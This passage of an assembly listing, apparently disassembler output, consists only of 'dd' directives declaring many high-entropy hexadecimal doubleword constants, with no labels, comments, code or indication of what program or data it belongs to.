		dd 0A8D3F491h, 5D60B9FBh, 965B7A28h, 876B2CDAh,	2AFF0037h
		dd 0F1434957h, 6F3F3E00h, 6D44F26Eh, 46F00074h,	0F60696FDh
		dd 8839C650h, 0DDFE80EBh, 62443D4Bh, 83211814h,	33AA96Ah
		dd 3BEB8500h, 0FB5F4198h, 6E880004h, 0FDCB080Ch, 0ED782447h
		dd 0AD9D5C00h, 0EF854110h, 0BCFE0098h, 8DB571FBh, 0B17429B0h
		dd 321F2801h, 0A80D1646h, 2F1C5033h, 56D1C094h,	60282440h
		dd 0E1A9A200h, 0B725D47Bh, 2997279h, 0E03B39EDh, 4B60C706h
		dd 230035E3h, 6A089082h, 7C44851h, 0D053CC71h, 80A8056Fh
		dd 5A54AF5Ch, 0D3F29E02h, 0FDC4F3F4h, 0C3FEC380h, 0EE58C2FBh
		dd 6EAF0198h, 0C8F8927Ah, 8E1060h, 0A3704F38h, 2C059ACDh
		dd 3342AB01h, 0EF691AFh, 48FCC331h, 6A9F00F7h, 7139D7A8h
		dd 63CA422h, 615980FCh,	3B773AE9h, 93BE00B3h, 20EAEE8Ah
		dd 0D47A9183h, 5BDC5F00h, 1086EF7Ch, 76E000E5h,	0B760CB6Dh
		dd 4B24F504h, 7B000888h, 0BC24EC38h, 1F0A1FC3h,	427318D2h
		dd 0EA5D1051h, 7A391Ch,	5FB195DBh, 0A633A5h, 55C94937h
		dd 3EFB681Fh, 67B52500h, 0B2919E9Bh, 8FC701D9h,	0AE104614h
		dd 37F060C8h, 0A0955101h, 5A4F6740h, 14DBDD8h, 0BA6048B8h
		dd 206D91A8h, 963A3A60h, 0D7460030h, 0AE4B671Eh, 0E21800E8h
		dd 0A66CC05Bh, 8D0BF277h, 80F346CCh, 0B7F87D68h, 0E1370715h
		dd 8033F95Ah, 6190C858h, 99A13Ah, 85221D97h, 0B37C52h
		dd 0D08AC310h, 1B012D24h, 4CED607h, 0BB9009D2h,	24AB5CA5h
		dd 0F5B9F3Ah, 1FE02103h, 1E7453F1h, 49121176h, 5400434Fh
		dd 253FE8DCh, 6FAA01C9h, 0C768CC1Ah, 0EF6C60DBh, 38202F00h
		dd 0FD3663C8h, 3A030001h, 853FE02h, 3426D3A8h, 1501F88Eh
		dd 0E091C3B6h, 0E53D3882h, 6880034Bh, 60EBFDF0h, 5FE24303h
		dd 0A026A5F2h, 0F552FEh, 0BB3E25EEh, 0B2A6D32h,	0E1AADF00h
		dd 0A131122Bh, 4AC73EB8h, 37099601h, 0EC92F8F7h, 0D4F26416h
		dd 0EC73B207h, 4F0EBB9h, 9877BDh, 0C754A61Ch, 66A8702Bh
		dd 0FBC58403h, 9845710Ah, 1EE5AEA1h, 0C05D7BE9h, 0E1589537h
		dd 800BC341h, 1E3A4Ch, 0F64F4DCBh, 0CBA100EEh, 0D6BC6F79h
		dd 0B9009680h, 0C0431DCFh, 7B4F19E3h, 9ECC00CAh, 0A149C5E6h
		dd 0FA0E620Dh, 9E6723E5h, 5FAC37CFh, 4038400Eh,	5D63C74Dh
		dd 7FF0009Ah, 138F74ABh, 0D4048B88h, 0E770D86Eh, 0A70158C0h
		dd 6F1F47Ah, 0EBD9C79Bh, 4C0720D7h, 633D0D75h, 0A2EF10A0h
		dd 274D00D0h, 0BF8FAFCBh, 31030716h, 5AB1E503h,	2150A890h
		dd 0A4F00A7h, 0F17BCA3Ch, 4400C455h, 7FFD83ACh,	77A4765Ch
		dd 0B3411E0Bh, 0F8490035h, 7D08D61Fh, 5DB65300h, 5F8FCDF1h
		dd 78501C8Ch, 84DDB1h, 99A591EEh, 1400522Bh, 0ABC1B56Eh
		dd 6C618Fh, 1017940Bh, 88FB0A40h, 0D2A13Eh, 763C5633h
		dd 20162h, 2CCFFDB1h, 7BA59667h, 6A859E00h, 0BCDB221Fh
		dd 0F6F590F8h, 24540079h, 0AC59CB62h, 1803D611h, 0FBBC94Dh
		dd 0D3B4B8ECh, 5F280CA2h, 6020AE3Ch, 0CF1958h, 0B323DECAh
		dd 0CD9E21h, 0D9DC4DFDh, 0D784B9ADh, 5CE3E80Ch,	0B89E1813h
		dd 0DE3100E4h, 0E44CF01Bh, 20341CBh, 79DFFA77h,	0A1C83E4Bh
		dd 9081EE80h, 459EF18Bh, 95187301h, 50AE4ECCh, 0C1676CF8h
		dd 0C715B8B0h, 0FEFF70DAh, 63304D00h, 193A0B8Ch, 280D1F72h
		dd 4170DC48h, 0C66AA1E4h, 3F788F62h, 7D1EE193h,	11F46D97h
		dd 1A5C0540h, 3FB9630h,	286B6C96h, 5A4CC6A8h, 0A215ACFAh
		dd 0D09959h, 5C90D6EEh,	39875BE7h, 0EC80A184h, 0CC01E406h
		dd 0CEEC7D2Fh, 0EBEE5D7Ah, 0E6606818h, 500CBD60h, 0EAC5B1C6h
		dd 0AAB90201h, 8B069585h, 0E0338340h, 0A60AB800h, 5EF45C46h
		dd 1C43033Dh, 3282F79h,	0DA543CB8h, 50940703h, 99CE7D46h
		dd 8FF83E5Ah, 0CF440CDCh, 83D08CAAh, 8400AEE4h,	0BE78D670h
		dd 77AC9Eh, 51DF8B1Ch, 22DCC497h, 453A3EFAh, 469200DAh
		dd 9D8F7BC3h, 0D67C0003h, 0B240E7CAh, 0A11799E6h, 0DF00B594h
		dd 0CB506CD1h, 24DFE95h, 49D39013h, 0A090341Fh,	0C7F8311Bh
		dd 0AC3EA38h, 8844FC73h, 2CA0E500h, 0E12B4Ch, 63BA8972h
		dd 13856542h, 0A3E0476h, 0D04A83B9h, 0B875FF46h, 4C3BC3E5h
		dd 490F8607h, 8C33C24h,	25A84560h, 0DF00D647h, 0F3550790h
		dd 60A0590Bh, 8F93103Eh, 0A40089E2h, 633A8CF9h,	48C1523Fh
		dd 0DE00804Ch, 5A2D49A3h, 2803D27Fh, 0CEBD55FFh, 0AB80A54Fh
		dd 3F71E613h, 0E5803DA6h, 30293A5h, 680092DFh, 803B74EDh
		dd 2CB193Ch, 3AA020F2h,	40433325h, 9896B0D0h, 347A5024h
		dd 155B09h, 80CE1168h, 0DE6A0086h, 7D76829Dh, 7B00BB6Dh
		dd 0E997044Dh, 154770Eh, 346F941h, 0F8FB2F45h, 1E0081B7h
		dd 2BA6B02Ch, 7F9931h, 5CBE6259h, 6C04601Fh, 10F4FF00h
		dd 61916C9h, 0FA9E00A8h, 74A0413Dh, 0C6003747h,	9D327501h
		dd 725956Eh, 2757CE6Bh,	84B1301Ch, 0B8485522h, 4AF700CAh
		dd 368B8DEEh, 100963CAh, 14B865FBh, 42B75F7Bh, 7377802Dh
		dd 0FEA663E1h, 6610074h, 56F55510h, 28001C53h, 6EA98A31h
		dd 108B929h, 1AD6186Ch,	0D894C338h, 59160E0Fh, 5D00E26Dh
		dd 8D4ED276h, 7FEA00ACh, 0D7A242B3h, 0D0C06707h, 0A315E343h
		dd 63FD076Dh, 60E76F8Dh, 670A5ADBh, 170055B8h, 284A577Ah
		dd 30E53CEh, 154EE869h
		dd 32E0E550h, 3B03ECFEh, 0D8F7022Eh, 7D0190E6h,	0F9A71D3Eh
		dd 0E1A8417Ah, 709C7FDCh, 85000619h, 81646980h,	3EEB4CFh
		dd 328FFFC3h, 0E000058Bh, 2EA11A3Fh, 39CAE4F4h,	0DE00CD51h
		dd 0F916C8D0h, 0E5607D7Ch, 65494218h, 10A700F4h, 0FC76AD19h
		dd 0C363F24Fh, 0F01E0139h, 1FE23756h, 0C034A862h, 0E1F3D849h
		dd 5838729Bh, 40D300EBh, 3115DCD0h, 0ADF0A117h,	80573E0Ah
		dd 65DA2076h, 5216A60h,	84C3C4C5h, 52F401E3h, 7856A54Dh
		dd 80C73AC8h, 0E43558C1h, 4249DAh, 5503CEEEh, 5451B739h
		dd 4C00FC79h, 0ED5960C8h, 0F236E3BBh, 2C347613h, 0B91EECh
		dd 847A49A6h, 1DFEC0C2h, 8E189502h, 0E034E389h,	259738Dh
		dd 821397BFh, 3F760FF8h, 0A219E718h, 0C38D0368h, 3BA385E0h
		dd 204B1EF1h, 0EA004EAAh, 5AF6BBDh, 4990D2B0h, 0AA2E6CEFh
		dd 3A82004Bh, 545777C4h, 4A019203h, 0BC68BF52h,	0E212888h
		dd 4BE98194h, 52F5F200h, 87EAD929h, 8FE6C538h, 0E3DCA0EBh
		dd 90C1A9E8h, 0ECD66C38h, 0D3E86Fh, 0E6939E91h,	0ADDB02FDh
		dd 1851F80Eh, 49F620ECh, 1F8782C1h, 0C07BD9DEh,	39E0CEB0h
		dd 0EB0072F2h, 0D197EAB4h, 1EC7E10Ah, 405134B6h, 0A7399692h
		dd 0E307068Eh, 272E9B95h, 0CC7F8D01h, 0B79EC8h,	80E5866h
		dd 0AC4D4C45h, 4AF6A900h, 0DCA67773h, 9A860026h, 2CC525EBh
		dd 6275FA47h, 39F5A407h, 0E231E993h, 48DC4C56h,	966F002Eh
		dd 0DF3EB33h, 0C002814Ah, 0A9CEDAF5h, 0E02060A2h, 945B00B4h
		dd 8283858h, 0D3018A81h, 2F96ADE2h, 8EC4B6E5h, 99C31E49h
		dd 4B00F8C4h, 0FA1CE96Fh, 9A48987Ah, 5E3C78AAh,	0C77C9339h
		dd 6A351E0Eh, 0B000E46Ah, 0FC526E51h, 2A5F7E05h, 0E04F16h
		dd 213B734Dh, 0E18C289Fh, 70EB8A09h, 315C0039h,	0ACC41Fh
		dd 0F586088Fh, 0A22544A8h, 3D415E00h, 38470394h, 0C64999Bh
		dd 6308746Dh, 0C3B03E00h, 0B966104Dh, 62041F55h, 800BDFCDh
		dd 600E3FCAh, 0CB8B458h, 69BDB100h, 61D611Ch, 1A160066h
		dd 832A429Ah, 0D6616DACh, 0BD02DFA8h, 0F939A3F3h, 0C18262C5h
		dd 8D1D51EDh, 80853D61h, 21786609h, 18ABC64h, 2CC633A3h
		dd 0E8169944h, 88018CF6h, 0E9197BC5h, 499766BDh, 9C62003Fh
		dd 5B7E1DE7h, 916FD906h, 620446Bh, 0B40A4293h, 82009808h
		dd 12B2179Ah, 0EABEA48Eh, 0C05E0355h, 0E94210ACh, 59E825E8h
		dd 581368A2h, 0A1BD22F8h, 9FD0E560h, 429A4CDFh,	6CE714CEh
		dd 38980C1Ch, 0A3736842h, 2E1788C9h, 33C701CCh,	75E2B65h
		dd 767CD486h, 8D7F5600h, 0F13C3742h, 620B4830h,	7E24BA00h
		dd 843BFB16h, 11DB8F00h, 0AC9C281h, 0C51B036Eh,	59F1F668h
		dd 956DE5B8h, 0EAEE56F0h, 0E3EBAF00h, 0BB163370h, 0C8200053h
		dd 0F13F0CEFh, 4D000E90h, 4B23882Bh, 379B9D8h, 0CC5EA118h
		dd 73913563h, 8072E151h, 1D2112D8h, 0DA42F9h, 0AF4346F6h
		dd 1F4F13E6h, 0A592E9C4h, 9D701580h, 0F03900E7h, 7CEE7D6Bh
		dd 5B1FAD85h, 96C0047Eh, 173DF7FDh, 33C6007Fh, 5139201Ch
		dd 0A20F70A3h, 60CF4CE7h, 329ABFC8h, 79E51419h,	7C14B95Fh
		dd 8C80B02Ch, 0F3F731Ah, 0A5DEFA00h, 857AC207h,	503B03ACh
		dd 2A5220E4h, 4D9E9900h, 8B7DC9EFh, 92FF030Ah, 6FFE8C22h
		dd 2502A4B0h, 49848600h, 9641F658h, 0DF6800F9h,	0B914DCFAh
		dd 37029A6Bh, 3895A7D5h, 0CFF483E4h, 0EE1101D8h, 0D5212099h
		dd 0E318D017h, 80C7D78h, 813151F1h, 1EC0007Fh, 504DB901h
		dd 0FA001A17h, 0B587FEEAh, 7B16AA79h, 72C0183h,	883731AFh
		dd 0AD1FC0AEh, 0E801C777h, 12DCBB26h, 898F30Eh,	0BF4E21B5h
		dd 54F0370Ah, 0E00DDA5h, 177EE55h, 30F97AF2h, 0DC587E16h
		dd 0E8EA3231h, 0CC107A00h, 9892AE8Dh, 72761E97h, 6F4D07B6h
		dd 0E800C81Eh, 0A446356Dh, 0B418C044h, 0C106D7CBh, 42A96B04h
		dd 0AB03AE80h, 33F1CC22h, 8462F0A7h, 0CB84340h,	1318BC8Dh
		dd 7700FF51h, 71969F6Dh, 66A1FC92h, 21250861h, 6D5FE105h
		dd 80019594h, 88DEA4FBh, 6F20B880h, 8FC54614h, 0A75DCD00h
		dd 6186D4CAh, 88B800E7h, 15269038h, 234C91D7h, 6B04A8Eh
		dd 45630701h, 0D062D4AAh, 53DC7320h, 9827BEB8h,	17C0D7A6h
		dd 76077765h, 6CF3AA7Bh, 0FBBEAB20h, 327821h, 3B42C167h
		dd 9FB8F8E6h, 4B07F975h, 0E3B23160h, 1BE514Ch, 24256865h
		dd 813EEBB5h, 3D85D019h, 2DD9DB23h, 0B692D0h, 0DAA7A128h
		dd 0C391079Eh, 0B4C56500h, 0CB46400Bh, 0CEF81C53h, 0D3E986D4h
		dd 0C10F4939h, 0A0675DAEh, 0ADF907D1h, 0D9A800F3h, 25B0CB26h
		dd 5F18F157h, 0FEA83775h, 1E9CFCACh, 0F727D1h, 0EBF5C14Ah
		dd 0A0B01934h, 0D9019A1Eh, 9EDBDCC3h, 0B7BEF07Fh, 0B098385Dh
		dd 0CAAFA28Fh, 23D8D6E0h, 53071170h, 37617725h,	504290BCh
		dd 6F517CB4h, 0E3800884h, 79DBFDA4h, 0C3166A03h, 88031F8Ch
		dd 75ED2C5h, 0DDC6C0D3h, 25523051h, 90B5067h, 8FA92F70h
		dd 7034080h, 0C3986Dh, 54E22289h, 2F5DB335h, 27940506h
		dd 5411AEF4h, 338604AFh, 0D7103326h, 0FA87AA88h, 789FB2E4h
		dd 304EB0E6h, 2D28910Ch, 95085905h, 91ACF5D4h, 1C3956h
		dd 21C5FE34h, 906C527Dh, 0DED90047h, 3A558A32h,	0C601D3BBh
		dd 14FCE0C7h, 0A8709318h, 3B347190h, 0B4000824h, 0EF29B774h
		dd 7CF8C256h, 7398A803h, 0F70851CCh, 5E005D5Bh,	3467C67Dh
		dd 0DCECD107h, 105CEE94h, 29930087h, 2CBA58DDh,	1B07288Bh
		dd 9AAABE36h, 0C56891C0h, 582E71EBh, 0DA00921Eh, 6686BB97h
		dd 305C4E43h, 7F983E79h, 366A7201h, 2DF5C844h, 904339FDh
		dd 730EA857h, 0A428C08Ah, 0F23F6730h, 44BFC607h, 80EFF8A6h
		dd 8614764Ch, 9B790713h, 0F0BA9E85h, 56A9DC1Ch,	80515A39h
		dd 631472E4h, 0ED69A4h,	0DE36F8F7h, 962C5DEBh, 0B5F3C00h
		dd 0FAAD931Ch, 4E11017Dh, 6E95928Bh, 40F3F40Ah,	586D01Fh
		dd 93A231C0h, 26C60Fh, 5A09C927h, 5E43F76Dh, 15246507h
		dd 52A380FBh, 9DC0F522h, 0FC75BF36h, 873A4F95h,	0E31CC0C0h
		dd 0AB00E2F5h, 0BFAC255Ah, 0E6476819h, 93F20097h, 0D3C19B1Dh
		dd 73095DAFh, 0CAE427h,	6E869F20h, 0BF1D00C5h, 788A13F5h
		dd 626D972h, 8300979Ah,	23DD1421h, 0D570003Ah, 9CDA59DFh
		dd 5C0E0C57h, 3F8A3029h, 0C9E72640h, 0F82817h, 9356A0E6h
		dd 2ADD6209h, 3FB34F3Dh, 30500038h, 0FD4EC0EDh,	7FE0E299h
		dd 7B230021h, 0A2A10B85h, 300A75Bh, 3A6FCC3Ch, 76E61231h
		dd 32B70787h, 9010658Bh, 8E5CAEA0h, 0FA2DCE06h,	70E75Ah
		dd 0D0DAFDB5h, 0ADBA524Eh, 31BD095h, 79B13BBh, 47AB4FA8h
		dd 205FAAF1h, 7491C69Ch, 0CA04803Ch, 468F35D2h,	4CBB4869h
		dd 5542E300h, 8671495Fh, 1B5DA20Eh, 9C2B4033h, 0EACDA0B5h
		dd 3EE80023h, 58CE60B2h, 7890B0A5h, 0DEAABB00h,	0BD91BF16h
		dd 3B573E3Dh, 9E698500h, 645DB2F0h, 0B78AE700h,	491AACDBh
		dd 360000Dh, 25A89E84h,	21284E22h, 8A0D0C1h, 0F9017758h
		dd 475432D7h, 19E05385h, 14FF4B9h, 9E998F6h, 4093966Ah
		dd 0C66247ACh, 0C90CBC9Ch, 0A15CF441h, 49E05938h, 822600DFh
		dd 38EB822h, 5600AB3Fh,	418D85FDh, 0FEBA5364h, 0E9FAB3h
		dd 58DA70D6h, 939F744Ch, 6F650700h, 0EAF7B560h,	9A5CE2B8h
		dd 0D41D0044h, 0AB36D393h, 4407C312h, 0B0D84752h, 0A7E5FC50h
		dd 0A090EFh, 7A745B48h,	0FF2A4395h, 6591FD09h, 0A48400B5h
		dd 0CEB89F9h, 5E48FCB8h
		dd 0E50B6D58h, 2A760ABh, 800679A8h, 15B71988h, 2D0800E9h
		dd 6716EB9Dh, 48003E90h, 4A55EE1Ch, 4CBA4DEAh, 61002CDDh
		dd 0C1F3F4B2h, 0E500DAC2h, 90F29352h, 0B846D868h, 680D4D82h
		dd 8B5BA800h, 6A8D4119h, 44C9E104h, 0B4C72E75h,	80901CD7h
		dd 139A8E3h, 0BCEF0ADBh, 203B8F3Ch, 0F6001780h,	0B9C79BFh
		dd 0B0A4CFh, 0B84A5118h, 396CC855h, 0E1412800h,	34F570CAh
		dd 0BDECB5h, 0C978491Dh, 93126FCh, 0CF86AE00h, 0A08AFC0h
		dd 0EEEFE811h, 0E8F60AE3h, 3A808216h, 40808B92h, 978E22A4h
		dd 5500AB92h, 0DD460F3Ch, 0F8261A0h, 12C63120h,	0C1E6ACA0h
		dd 8D7590D6h, 1500DB73h, 825138A5h, 0E45F57A7h,	37020080h
		dd 265ACAF4h, 390027EBh, 0BADDC5BDh, 9894CEA7h,	0A1F107C0h
		dd 10FED376h, 14C64738h, 9659000h, 452AD8A9h, 0AD2509C1h
		dd 0A810E0ECh, 9302D0D4h, 0C8EE82DEh, 0FCF887BBh, 9DC08B30h
		dd 0D8850430h, 5DD4B5h,	0D912C5B1h, 0C8F8002Ch,	48AA2DB6h
		dd 9B76C06Bh, 0A993300h, 521D8273h, 0EFEE0E97h,	0CD80FF69h
		dd 95129A4Dh, 8F2A627Ch, 0C6E2A0ACh, 0B6044000h, 98A36D7Eh
		dd 0B97600C9h, 753E491Ch, 0C103CC4Bh, 0ED7CADACh, 1BB3E8D9h
		dd 0C5D20048h, 1202EA93h, 0B00834Bh, 19D4893Ch,	0E6A33AFh
		dd 0A28CCD15h, 0E4E0A56Eh, 619F40F1h, 2BCB7902h, 0C8588F7Fh
		dd 0EE7803D0h, 765F0006h, 5331D4F4h, 0A00CE12h,	0E9ABC5ECh
		dd 7E3AEDC2h, 358F00B8h, 19366996h, 6D09436Ah, 1573CBDh
		dd 0C1B00C78h, 0FC4605F0h, 0B65D0FC0h, 0E003AF4Bh, 100EB41Dh
		dd 0C1C4AE5Bh, 339D3E92h, 8AE81475h, 40B0AACDh,	3AFB1390h
		dd 7074A48h, 0CC300AE7h, 9F1FE511h, 0F83EEF3Bh,	50F73Ch
		dd 0C005A046h, 285361E0h, 112C9A33h, 1CC8D6BFh,	80BA8DC0h
		dd 50CA39CDh, 0F978672Ch, 800EA71h, 55DA5C7h, 8D2FC939h
		dd 8C90405Ah, 0D8F15360h, 68337100h, 4497C4CEh,	0DC0500E2h
		dd 4E388519h, 0CB004592h, 0A6C9AF75h, 5CE818ECh, 58006C10h
		dd 6E619A72h, 0CA381E69h, 0D8800016h, 0F58E1B06h, 522800C6h
		dd 0D7F1AFC7h, 79007DBBh, 0FCA75CDDh, 7D49F42Dh, 0E29805CCh
		dd 0C0979178h, 0BDDC968Ch, 0DA30B400h, 0D5B14C69h, 86C1185Dh
		dd 3393F1C0h, 3B72F89Fh, 400F140Ah, 0A44C121Ah,	2B0EF921h
		dd 20FBCD73h, 0DC77EB63h, 6ADB000Dh, 0A31C88E7h, 7500FA78h
		dd 9231A74Ah, 0BA1AD5B3h, 0ADFC20E8h, 0D3E8C100h, 0A7B2409Bh
		dd 72B503C4h, 6C2ED034h, 0B87731FFh, 0A05DD7E9h, 0F3480008h
		dd 60523E14h, 21E83BA8h, 8CC06050h, 0FA732C04h,	0CB621248h
		dd 72C40E20h, 5E540207h, 6669080Dh, 0BE833C52h,	7C2C1FA0h
		dd 838CD61Eh, 29D09618h, 7630E082h, 0BAE009Eh, 6DE0B38Eh
		dd 71001D86h, 0A6039D98h, 5937F84h, 0A96819Bh, 0ED6D82CBh
		dd 4899681h, 58FDE436h,	5362F601h, 57DD2FCCh, 0F0C1230h
		dd 0C62AC1EAh, 1100022Bh, 4193BD2h, 0B97BAE1Fh,	25749EC7h
		dd 600886F6h, 97232112h, 6A005BA9h, 3FAAA605h, 399D85Fh
		dd 30623111h, 2800CBE7h, 56D5B064h, 94EA50h, 0C8D0A4ADh
		dd 3AAA402Ah, 2B781964h, 0B8A9A560h, 1186EA23h,	0A624005Ah
		dd 0B908F8A9h, 6BFA017Eh, 455B9096h, 20718EE4h,	59F560C4h
		dd 4601F8h, 0EAC7B6C6h,	3EFFA5FBh, 0C488E462h, 586406DDh
		dd 0C30489C8h, 38157B3Ch, 2244764Eh, 0A8216014h, 6D9CFEBEh
		dd 0C21C4150h, 2783680Eh, 3C4640B1h, 183A4467h,	0A1D14BECh
		dd 63001172h, 0FC095ED6h, 0CC164761h, 9121DB08h, 3E0763E6h
		dd 8065EE21h, 0EBA83Ch,	3F2495FBh, 0B17D7CE4h, 0C418F060h
		dd 5015D068h, 6061BC2Dh, 97D68967h, 4D00889Fh, 0D5F722A4h
		dd 0C21BE1h, 194126D4h,	14845B39h, 60E050C0h, 1CEFB646h
		dd 0FA9A36h, 0E60722BFh, 0A4167FD3h, 110059ECh,	0C2D25694h
		dd 3BEE009Ah, 797B9948h, 0A602E190h, 7EC7BF82h,	0B8DDC345h
		dd 0F20C9B09h, 0FF360739h, 207341FAh, 0A53E7DDCh, 30F48C00h
		dd 0FBBDFEB9h, 0F27051h, 27ED162h, 0F79CB149h, 0D72E300Ch
		dd 1F155888h, 6DE3D0h, 0B116B893h, 0FCC01A2Ah, 6126AA38h
		dd 0E0E895h, 209EC0Bh, 0BD363207h, 17C9D3Eh, 0AB04F210h
		dd 0FAF00595h, 0E019C00Ah, 9EF96243h, 0C185A630h, 70956D44h
		dd 0C2CA009Dh, 5D669F96h, 7058C21h, 97ECBE27h, 0B95237C0h
		dd 0ACF4CFh, 969A44E2h,	0D9D72D32h, 0FD9DE400h,	33092ADCh
		dd 259C18Bh, 84A24D59h,	92B727D8h, 49DFB800h, 39249507h
		dd 1A005643h, 91CA1DD6h, 0AB0300E0h, 3F7F169Dh,	0CE00D18Fh
		dd 6721764Ah, 627EA5h, 0BC7DB190h, 0F1255665h, 10A9F00h
		dd 0D01FC488h, 35FF0702h, 2045FC04h, 0F5F14AD8h, 9A281A05h
		dd 64C00681h, 0F0B7F97h, 743CF32Bh, 807E9CA7h, 89A4C450h
		dd 14549526h, 6E626000h, 1E11727h, 9C8D3A82h, 0DC0B2D29h
		dd 150E8CE4h, 0A77B0531h, 5D8011C4h, 6FE6AB7h, 0C10C3679h
		dd 28C08081h, 0EB4E6DB4h, 0C01DE07Fh, 358388C9h, 8A0912B1h
		dd 0B7CCCh, 0DADFF262h,	98C4018Bh, 0FAB46A8Eh, 747DC855h
		dd 20F601Fh, 0AC40921Eh, 810BE4CEh, 4FF00C4h, 0C3AA8882h
		dd 0EE00D961h, 18A92EFBh, 58800Fh, 0A6100E0Ah, 6F134F29h
		dd 0B70CB328h, 0C41E15E0h, 1A40067Fh, 0E0D331F0h, 2B763EB9h
		dd 32D28D8Ch, 21C7B409h, 0F15008F3h, 16D1839h, 0B6D44614h
		dd 11B85C6h, 0BAE8480Ch, 6F9900CDh, 0B25DB7EFh,	2F1BAC1Ch
		dd 0A8692511h, 17FD8EEh, 0E89DDEA7h, 0D0B4C6AEh, 1280AC39h
		dd 0D6D800F6h, 19FAE9FEh, 0DF03335Ch, 62A2EE7h,	0F58CD8ECh
		dd 6A3B002Ch, 4BFCD918h, 2E2E74E6h, 510CCCC4h, 0F20A2195h
		dd 70FC51D8h, 8088F091h, 2B8DB9EBh, 0BF9DDh, 4C1E33ECh
		dd 0A09576ADh, 90D8ADh,	0D77B55F1h, 741444C4h, 0C2A47E00h
		dd 7AB331EFh, 0DAE5017Ch, 8032A89Eh, 0C8099840h, 39895A21h
		dd 578066E5h, 14C4FD96h, 786655CBh, 201115C8h, 0BEC09E61h
		dd 57E44611h, 0E44900Eh, 6E600645h, 0D5A132E0h,	9307B3B4h
		dd 0F4A930D2h, 7A0F9AE0h, 32B900C3h, 46727BC7h,	0D01DFA63h
		dd 0F3411811h, 1D3FC6C0h, 7F18330h, 49195B1Bh, 4030A3FFh
		dd 959737B8h, 9132BE07h, 0CD007071h, 364414h, 0B4D8259Eh
		dd 1BFCF1Ch, 0AF9D6B07h, 0CC51F1D2h, 0D8E31109h, 0B0C338h
		dd 0CA2B235Ch, 2C2AEEADh, 16E2330Fh, 2F19437Ch,	0C65FB853h
		dd 821B0113h, 0A6DE46F3h, 63088CF0h, 26D42019h,	49139Ch
		dd 3FE11D24h, 0A900F72Eh, 0E20AFD48h, 0F1D315F4h, 0F1C18BBh
		dd 2D7380F6h, 571F9DFh,	0A763FE09h, 56228353h, 2877E2h
		dd 8D57963Ah, 0CE94C1C8h, 8CECD900h, 4DAC1856h,	0F95B07B3h
		dd 8C312A15h, 87000130h, 0CEC5D2A7h, 3F14B7C9h,	0F10088EBh
		dd 0E7B546Fh, 5261B183h, 72ED7F60h, 0DEF97187h,	0F4887C4Dh
		dd 571B521Bh, 0CE280050h, 9ED32A79h, 1219BE5Fh,	9208679Ah
		dd 82594980h, 0C8862E2Ah, 0DE2DA500h, 0CD623CEFh, 28AD7E3Eh
		dd 0C42C4F8Ah, 488968h,	402B1397h, 7433009Fh, 0DB3EA2FBh
		dd 0CB73E502h, 45101D00h, 5C1C8A85h, 0E0F073B0h, 6F0C0787h
		dd 0F0220B9Bh, 0D6CABE3Dh, 806BAF00h, 1EC9E79Ch, 0DFF38BAh
		dd 5EBB4980h, 0B7C1932Ch, 0B37BD800h, 82839F2Fh, 4500017h
		dd 8B1E6BB6h, 7A90B7C2h, 2B199701h, 0F4A2C113h,	0FB5E398Fh
		dd 0AAD205h, 0C3DF4D08h, 242CB2A4h, 0D19283Bh, 48AC3408h
		dd 0C3E60331h, 0F0B99490h
		dd 23A8F408h, 672A8500h, 6CE0167Ch, 0F23A01EAh,	766309CEh
		dd 0AD5EF09Ah, 8917C100h, 0CAEC0A60h, 58CD0E2Eh, 908C3167h
		dd 81009E21h, 135F8960h, 88D33BBh, 0B7BA95F0h, 7159C800h
		dd 7704FC62h, 0A94107D1h, 0E01CCDE2h, 0E3AE2D38h, 73C0690Ah
		dd 33E905Fh, 574D01C5h,	7F61183Bh, 7162E927h, 0F200AE78h
		dd 657E66C7h, 791A10Eh,	76966AF7h, 184FB001h, 0C10529A5h
		dd 0E4DABBB6h, 80C89C00h, 7156265h, 0C78A6694h,	0DE19001Fh
		dd 680FACAEh, 0E0A68EFAh, 1444F2Ch, 78590029h, 4036CC5Dh
		dd 1476CF56h, 850C2300h, 799B42DCh, 0BF8F1E10h,	68314095h
		dd 5F21F22Ah, 0AE03CEE4h, 4BB08AA2h, 279CB0A1h,	4AEA3BD9h
		dd 0C1EF7A81h, 80322175h, 0FC8E9230h, 72D4023h,	9F8FF873h
		dd 28FAF0F3h, 89075F74h, 0B386F231h, 0E4580048h, 84F999E3h
		dd 18CA9E00h, 0C04DEF6h, 0ECA700C9h, 112315Fh, 91C030A2h
		dd 0B1C798AAh, 0C1F5064Ch, 18F42367h, 4FA71000h, 1679385Ah
		dd 0FB3A0037h, 83566A20h, 0DB00AF0Ah, 33BDCB3Bh, 0E6FCE5h
		dd 3D474AD2h, 874553DCh, 2AD838DCh, 0C630C9h, 0F412BC52h
		dd 6B414473h, 366EE0EBh, 720089DDh, 6D654006h, 7857742Ch
		dd 3C0A00F6h, 1142CEC8h, 0A50F416Eh, 0BFDDE590h, 0CD60Fh
		dd 8A83A2C0h, 0FCE70022h, 0B89A4D0Dh, 6E76A7BFh, 9971100h
		dd 132D3CB3h, 37FB00AFh, 0AAC44216h, 0BE67D370h, 2353AEF8h
		dd 0B2180518h, 1C602F14h, 9AAB03A8h, 2CF090CAh,	0F7004719h
		dd 42F599CCh, 0E8FC158Ah, 75BECCFh, 9A620DB5h, 829821AEh
		dd 37088CC6h, 478206Ah,	0EC0F0D9Bh, 4A00FB2Dh, 231B07F0h
		dd 9EED3AFAh, 3CAC5180h, 0C54C45FBh, 0AB22211Fh, 0B8673680h
		dd 0DBE08A7h, 0DB12CE85h, 5493FC30h, 0FF6E3503h, 6D9BD7Dh
		dd 9BFB9088h, 22F049A6h, 8D06DA00h, 0BAE947F5h,	0E6B73AC3h
		dd 30F82018h, 0DF000DD8h, 0E452C939h, 1751D8Dh,	0FB9554ABh
		dd 0BD3D7DFEh, 9C819449h, 700C7CC2h, 78FC7935h,	0B9A903C4h
		dd 6655E39Fh, 6C05E280h, 973319E6h, 0A63AA8BCh,	906A0E39h
		dd 1B4181BAh, 0F0D0C44Ah, 4800C9C5h, 0D655E1BCh, 57160Fh
		dd 6B081DA6h, 9B29EE4Bh, 37A5C700h, 0D89F6EB9h,	5AF524D2h
		dd 8D5F00B0h, 0FE3BEE59h, 88238h, 783AA169h, 123852h, 3322F557h
		dd 0A8E56DF8h, 1A934000h, 955E0D90h, 52761E81h,	0D08C4024h
		dd 5D3058E0h, 8B534C01h, 5B7C2845h, 18EBBD60h, 18A369D9h
		dd 68002352h, 0D38D9140h, 1E1315E3h, 3610A1Eh, 26E9B8DDh
		dd 3C65C5E8h, 42BB7500h, 0CC516624h, 0C64B85Fh,	0E3F94ECDh
